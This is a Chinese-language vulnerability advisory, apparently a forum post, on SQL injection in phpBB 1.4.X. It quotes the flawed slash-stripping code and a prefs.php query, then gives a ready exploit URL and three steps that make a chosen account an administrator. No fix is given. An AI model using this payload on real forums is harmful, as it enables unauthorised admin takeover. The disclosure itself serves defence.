phpBB 是一个开放源码的电子公告牌系统。但是发现它的 phpBB 1.4.X 版本在对变量输入的验证上存在问题。
这可能导致对受影响系统的任意 sql 请求被通过。
问题在于 phpBB 1.4.X 的 auth.php 文件中有一个运算法则,它会移去 PHP 自动加到 GPC 变量(Get/post/Cookie)的反斜线。
if(get_magic_quotes_gpc() == 1)
{
switch($REQUEST_METHOD){
case "POST":
while (list ($key, $val) = each
($HTTP_POST_VARS)){
if( is_array($val) ){
array_walk($val, 'stripslashes_array', '');
$$key = $val;}
else{
$$key = stripslashes($val);}
}
break;
End example code>
因此,某些通过 URL 提交的 PHP 变量可能达到一个带 unescaped quotes 的 sql 请求。在 prefs.php 文件中,攻击者通过给$viewemail 提供某一类型的值可能执行任意请求。
< Example sql query in prefs.php >
$sql = "UPDATE users SET
user_viewemail='$viewemail',
user_theme='$themes', user_attachsig = '$sig',
user_desmile = '$smile', user_html = '$dishtml',
user_bbcode
= '$disbbcode', user_lang = '$lang' WHERE
(user_id = '$userdata[user_id]')";
End example code >
http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23
End example URL>
这个例子 URL 将会产生一个带 level 4 (administrative) 特权的用户 "l337h4x0r"
总结过程如下:
1、在 phpBB 上注册一个帐户
2、键入上面的 URL
3、在 "Administration Panel" 上点击。
解决方案:
暂无
:em21: :em21: :em21: |